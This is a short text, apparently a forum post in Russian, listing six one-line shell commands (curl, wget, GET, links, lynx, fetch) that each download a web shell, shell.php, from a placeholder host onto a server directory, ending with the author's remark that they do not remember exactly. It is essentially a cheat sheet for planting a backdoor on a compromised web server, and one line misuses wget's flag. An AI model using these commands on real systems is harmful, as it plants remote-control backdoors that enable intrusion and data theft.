curl --output /papka/na/servere/shell.php http://site.com/shell.php
wget -o /papka/na/servere/shell.php http://site.com/shell.php
get http://site.com/shell.php > /papka/na/servere/shell.php
links -source "http://site.com/shell.php" > /papka/na/servere/shell.php
lynx -source http://site.com/shell.php > /papka/na/servere/shell.php
fetch -o /papka/na/servere/shell.php http://site.com/shell.php

как-то так, точно не помню...